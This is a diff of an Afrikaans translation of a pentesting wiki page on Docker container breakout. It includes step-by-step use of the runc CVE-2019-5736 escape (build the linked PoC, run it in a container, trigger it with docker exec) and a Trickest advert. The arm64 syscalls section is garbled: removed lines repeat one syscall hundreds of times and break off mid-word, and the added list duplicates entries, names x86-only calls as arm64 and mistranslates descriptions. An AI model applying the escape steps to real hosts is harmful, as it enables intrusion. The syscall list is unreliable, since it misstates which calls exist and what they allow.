Gebruikersnaamruimte misbruik via symboliese koppeling +### Gebruikersnaamruimte misbruik via simboolskakel -Die tweede tegniek wat in die pos [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) verduidelik word, dui aan hoe jy bindkoppeling met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers te verwyder). +Die tweede tegniek wat in die pos [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) verduidelik word, dui aan hoe jy bindmonte met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers te verwyder).
-Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) om maklik te bou en **werkvloeie outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## CVE's ### Runc uitbuiting (CVE-2019-5736) -In geval jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te eskaleer deur te ontsnap uit 'n houer deur misbruik te maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvryf vanuit 'n houer**, sodat enigeen wat docker exec uitvoer die lading kan aktiveer. +In die geval dat jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te eskaleer deur te ontsnap uit 'n houer wat misbruik maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvryf vanuit 'n houer**, sodat enigeen wat `docker exec` uitvoer die lading kan aktiveer. -Verander die lading dienooreenkomstig en bou die main.go met `go build main.go`. Die resulterende binêre lêer moet in die docker houer geplaas word vir uitvoering.\ +Verander die lading dienooreenkomstig en bou die main.go met `go build main.go`. Die resulterende binêre lêer moet in die docker-houer geplaas word vir uitvoering.\ Met uitvoering, sodra dit `[+] Oorvryf /bin/sh suksesvol` vertoon, moet jy die volgende vanaf die gasheer-rekenaar uitvoer: `docker exec -it /bin/sh` -Dit sal die lading aktiveer wat teenwoordig is in die main.go lêer. +Dit sal die lading aktiveer wat teenwoordig is in die main.go-lêer. Vir meer inligting: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -Daar is ander CVE's waaraan die houer kwesbaar kan wees, jy kan 'n lys vind in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +Daar is ander CVE's waar die houer vatbaar vir kan wees, jy kan 'n lys vind in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} ## Docker Aangepaste Ontsnapping ### Docker Ontsnappingsoppervlak -* **Naamruimtes:** Die proses moet **heeltemal geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap om met ander prosesse te interaksieer as gevolg van naamruimtes (standaard kan nie kommunikeer via IPC's, Unix-sockets, netwerkdienste, D-Bus, `/proc` van ander prosesse). +* **Naamruimtes:** Die proses moet **heeltemal geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap om met ander prosesse te kommunikeer nie as gevolg van naamruimtes (standaard kan nie kommunikeer via IPC's, Unix-sockets, netwerkdienste, D-Bus, `/proc` van ander prosesse). * **Root-gebruiker**: Standaard is die gebruiker wat die proses hardloop die root-gebruiker (tans is sy voorregte beperk). -* **Bevoegdhede**: Docker laat die volgende bevoegdhede oor: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscalls**: Dit is die syscalls wat die **root-gebruiker nie sal kan aanroep nie** (wegens 'n gebrek aan bevoegdhede + Seccomp). Die ander syscalls kan gebruik word om te probeer ontsnap. +* **Vermoeëns**: Docker laat die volgende vermoëns agter: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Syscalls**: Dit is die syscalls wat die **root-gebruiker nie sal kan aanroep nie** (as gevolg van gebrek aan vermoëns + Seccomp). Die ander syscalls kan gebruik word om te probeer ontsnap. {% tabs %} {% tab title="x64 syscalls" %} @@ -547,522 +547,224 @@ Daar is ander CVE's waaraan die houer kwesbaar kan wees, jy kan 'n lys vind in [ {% tab title="arm64 syscalls" %} ### arm64-syscalls -Hierdie is 'n lys van arm64 syscalls wat gebruik kan word vir priviligie-escalation in Docker. -Die volgende syscalls kan gebruik word om 'n privilege escalation aanval uit te voer: +Hierdie is 'n lys van arm64 syscalls wat gebruik kan word vir priviligie-escalasie in Docker. +Die volgende syscalls kan gebruik word om 'n Docker-container te ontsnap en priviligies te eskaleer: -- `sys_socket` -- `sys_connect` -- `sys_sendto` -- `sys_recvfrom` -- `sys_mmap` -- `sys_open` -- `sys_read` -- `sys_write` -- `sys_close` -- `sys_execve` -- `sys_dup` -- `sys_dup2` -- `sys_pipe` -- `sys_mprotect` -- `sys_fork` -- `sys_vfork` -- `sys_clone` -- `sys_ptrace` -- `sys_ptrace` -- `sys_prctl` -- `sys_arch_prctl` -- `sys_chroot` -- `sys_setuid` -- `sys_setgid` -- `sys_setreuid` -- `sys_setregid` -- `sys_setresuid` -- `sys_setresgid` -- `sys_setfsuid` -- `sys_setfsgid` -- `sys_setgroups` -- `sys_setsid` -- `sys_setpgid` -- `sys_setpriority` -- `sys_sched_setparam` -- `sys_sched_setscheduler` -- `sys_sched_setattr` -- `sys_sched_setaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getparam` -- `sys_sched_getscheduler` -- `sys_sched_getattr` -- `sys_sched_yield` -- `sys_sched_get_priority_max` -- `sys_sched_get_priority_min` -- `sys_sched_rr_get_interval` -- `sys_sched_getaffinity` -- `sys_sched_setaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched_getaffinity` -- `sys_sched +- **`sys_socket`**: Skep 'n nuwe sokket +- **`sys_mount`**: Monteer 'n lêerstelsel +- **`sys_open`**: Maak 'n lêer oop +- **`sys_creat`**: Skep 'n nuwe lêer +- **`sys_read`**: Lees data vanaf 'n lêer +- **`sys_write`**: Skryf data na 'n lêer +- **`sys_mmap`**: Skep 'n nuwe geheuekaart +- **`sys_mprotect`**: Verander geheuebeskerming +- **`sys_munmap`**: Verwyder geheuekaart +- **`sys_clone`**: Skep 'n nuwe proses +- **`sys_fork`**: Skep 'n nuwe kindproses +- **`sys_vfork`**: Skep 'n nuwe kindproses +- **`sys_execve`**: Voer 'n program uit +- **`sys_ptrace`**: Spoor 'n proses +- **`sys_faccessat`**: Toets lêertoegang +- **`sys_chdir`**: Verander huidige werkspasie +- **`sys_mkdir`**: Skep 'n nuwe gids +- **`sys_rmdir`**: Verwyder 'n gids +- **`sys_dup`**: Dupliseer 'n lêerbeskrywer +- **`sys_dup2`**: Dupliseer 'n lêerbeskrywer na 'n spesifieke waarde +- **`sys_pipe`**: Skep 'n pyp +- **`sys_socketpair`**: Skep 'n paar verbonde sokkette +- **`sys_epoll_create`**: Skep 'n epoll-instantie +- **`sys_eventfd`**: Skep 'n eventfd-instantie +- **`sys_inotify_init`**: Skep 'n inotify-instantie +- **`sys_signalfd`**: Skep 'n signalfd-instantie +- **`sys_timerfd_create`**: Skep 'n timerfd-instantie +- **`sys_accept`**: Aanvaar 'n inkomende verbinding +- **`sys_connect`**: Verbind met 'n sokket +- **`sys_sendto`**: Stuur data na 'n spesifieke adres +- **`sys_recvfrom`**: Ontvang data vanaf 'n spesifieke adres +- **`sys_sendmsg`**: Stuur 'n boodskap +- **`sys_recvmsg`**: Ontvang 'n boodskap +- **`sys_bind`**: Koppel 'n adres aan 'n sokket +- **`sys_listen`**: Luister vir inkomende verbindinge +- **`sys_getsockname`**: Kry die naam van 'n sokket +- **`sys_getpeername`**: Kry die naam van die ander kant van 'n verbinding +- **`sys_socketpair`**: Skep 'n paar verbonde sokkette +- **`sys_setsockopt`**: Stel sokketopsies in +- **`sys_getsockopt`**: Kry sokketopsies +- **`sys_shutdown`**: Sluit 'n deel van 'n volledige sokket af +- **`sys_sendfile`**: Stuur 'n lêer na 'n ander sokket +- **`sys_socketcall`**: Voer 'n reeks sokketbewerkings uit +- **`sys_fcntl`**: Manipuleer lêerbeskrywers +- **`sys_flock`**: Blokkeer 'n lêer +- **`sys_fsync`**: Kraggebruik na lêer +- **`sys_fdatasync`**: Kraggebruik na lêerdata +- **`sys_truncate`**: Wysig die grootte van 'n lêer +- **`sys_ftruncate`**: Wysig die grootte van 'n lêer +- **`sys_getdents`**: Kry lêerinskrywings +- **`sys_getcwd`**: Kry die huidige werkspasie +- **`sys_chmod`**: Verander lêermodusse +- **`sys_fchmod`**: Verander lêermodusse +- **`sys_chown`**: Verander lêereienaar +- **`sys_fchown`**: Verander lêereienaar +- **`sys_lchown`**: Verander lêereienaar +- **`sys_umask`**: Stel die standaard lêermodusmasker in +- **`sys_gettimeofday`**: Kry die huidige tyd +- **`sys_getrlimit`**: Kry hulpbruglimiete +- **`sys_getrusage`**: Kry hulpbrugebruik +- **`sys_sysinfo`**: Kry stelselinligting +- **`sys_times`**: Kry proses tyd +- **`sys_ptrace`**: Spoor 'n proses +- **`sys_getuid`**: Kry gebruikers-ID +- **`sys_syslog`**: Skryf na die stelsellog +- **`sys_getgid`**: Kry groep-ID +- **`sys_setuid`**: Stel gebruikers-ID in +- **`sys_setgid`**: Stel groep-ID in +- **`sys_geteuid`**: Kry effektiewe gebruikers-ID +- **`sys_getegid`**: Kry effektiewe groep-ID +- **`sys_setpgid`**: Stel prosesgroep-ID in +- **`sys_getppid`**: Kry ouer proses-ID +- **`sys_setsid`**: Stel 'n nuwe sessie in +- **`sys_setreuid`**: Stel gebruikers-ID herstel in +- **`sys_setregid`**: Stel groep-ID herstel in +- **`sys_getgroups`**: Kry groepslidmaatskap +- **`sys_setgroups`**: Stel groepslidmaatskap in +- **`sys_setresuid`**: Stel herstelbare gebruikers-ID's in +- **`sys_getresuid`**: Kry herstelbare gebruikers-ID's +- **`sys_setresgid`**: Stel herstelbare groep-ID's in +- **`sys_getresgid`**: Kry herstelbare groep-ID's +- **`sys_getpgid`**: Kry prosesgroep-ID +- **`sys_getsid`**: Kry sessie-ID +- **`sys_capget`**: Kry kapvermoë-instellings +- **`sys_capset`**: Stel kapvermoë-instellings in +- **`sys_rt_sigpending`**: Kry waghandtekeninge +- **`sys_rt_sigtimedwait`**: Wag vir 'n handtekening +- **`sys_rt_sigqueueinfo`**: Kry waghandtekeninge-inligting +- **`sys_rt_sigsuspend`**: Hang op vir 'n handtekening +- **`sys_sigaltstack`**: Stel alternatiewe stak in +- **`sys_utime`**: Wysig lêertyd +- **`sys_mknod`**: Skep 'n spesiale lêer +- **`sys_uselib`**: Gebruik 'n lêer +- **`sys_personality`**: Stel persoonlikheid in +- **`sys_ustat`**: Kry lêerstelselstatistieke +- **`sys_statfs`**: Kry lêerstelselstatistieke +- **`sys_fstatfs`**: Kry lêerstelselstatistieke +- **`sys_sysfs`**: Manipuleer sysfs-lêers +- **`sys_getpriority`**: Kry prosesvoorkeur +- **`sys_setpriority`**: Stel prosesvoorkeur in +- **`sys_sched_setparam`**: Stel skeduleringsparameters in +- **`sys_sched_getparam`**: Kry skeduleringsparameters +- **`sys_sched_setscheduler`**: Stel skeduleringsbeplanner in +- **`sys_sched_getscheduler`**: Kry skeduleringsbeplanner +- **`sys_sched_get_priority_max`**: Kry maksimum skeduleringsvoorkeur +- **`sys_sched_get_priority_min`**: Kry minimum skeduleringsvoorkeur +- **`sys_sched_rr_get_interval`**: Kry skeduleringsinterval +- **`sys_mlock`**: Sluit geheue in +- **`sys_munlock`**: Sluit geheue uit +- **`sys_mlockall`**: Sluit alle geheue in +- **`sys_munlockall`**: Sluit alle geheue uit +- **`sys_vhangup`**: Stuur 'n ophangsein na alle geassosieerde prosesse +- **`sys_modify_ldt`**: Verander die globale tabel van die lêerbeskrywer +- **`sys_pivot_root`**: Verander die roetsysteem +- **`sys__sysctl`**: Manipuleer die kernelkonfigurasie +- **`sys_prctl`**: Beheer prosesverrigting +- **`sys_arch_prctl`**: Beheer prosesverrigting +- **`sys_adjtimex`**: Stel die klokverstellingsparameters in +- **`sys_setrlimit`**: Stel hulpbruglimiete in +- **`sys_chroot`**: Verander die roetsysteem +- **`sys_sync`**: Skryf alle buffers na die skyf +- **`sys_acct`**: Skakel rekeninghouding in +- **`sys_settimeofday`**: Stel die klok in +- **`sys_mount`**: Monteer 'n lêerstelsel +- **`sys_umount2`**: Los 'n lêerstelsel op +- **`sys_swapon`**: Skakel swopruimte in +- **`sys_swapoff`**: Skakel swopruimte af +- **`sys_reboot`**: Herlaai die stelsel +- **`sys_sethostname`**: Stel die gasheernaam in +- **`sys_setdomainname`**: Stel die domeinnaam in +- **`sys_iopl`**: Stel die I/O-privilegievlak in +- **`sys_ioperm`**: Stel I/O-toestemming in +- **`sys_create_module`**: Skep 'n laai +- **`sys_init_module`**: Inisialiseer 'n laai +- **`sys_delete_module`**: Verwyder 'n laai +- **`sys_get_kernel_syms`**: Kry kernel-simbole +- **`sys_query_module`**: Vra navrae oor 'n laai +- **`sys_quotactl`**: Kontroleer kwotas +- **`sys_nfsservctl`**: Kontroleer NFS-diens +- **`sys_getpmsg`**: Kry 'n posboodskap +- **`sys_putpmsg`**: Stuur 'n posboodskap +- **`sys_afs_syscall`**: AFS-sisteemaanroep +- **`sys_tuxcall`**: TUX-sisteemaanroep +- **`sys_security`**: Sekuriteitsaanroep +- **`sys_gettid`**: Kry die ID van die huidige draad +- **`sys_readahead`**: Lees vooruit +- **`sys_setxattr`**: Stel uitgebreide kenmerke in +- **`sys_lsetxattr`**: Stel uitgebreide kenmerke in +- **`sys_fsetxattr`**: Stel uitgebreide kenmerke in +- **`sys_getxattr`**: Kry uitgebreide kenmerke +- **`sys_lgetxattr`**: Kry uitgebreide kenmerke +- **`sys_fgetxattr`**: Kry uitgebreide kenmerke +- **`sys_listxattr`**: Lys uitgebreide kenmerke +- **`sys_llistxattr`**: Lys uitgebreide kenmerke +- **`sys_flistxattr`**: Lys uitgebreide kenmerke +- **`sys_removexattr`**: Verwyder uitgebreide kenmerke +- **`sys_lremovexattr`**: Verwyder uitgebreide kenmerke +- **`sys_fremovexattr`**: Verwyder uitgebreide kenmerke +- **`sys_tkill`**: Stuur 'n sein na 'n draad +- **`sys_time`**: Kry die huidige tyd +- **`sys_futex`**: Veilige wagtoneel +- **`sys_sched_setaffinity`**: Stel skeduleringsaffiniteit in +- **`sys_sched_getaffinity`**: Kry skeduleringsaffiniteit +- **`sys_set_thread_area`**: Stel draadgebied in +- **`sys_io_setup`**: Stel 'n I/O-konteks in +- 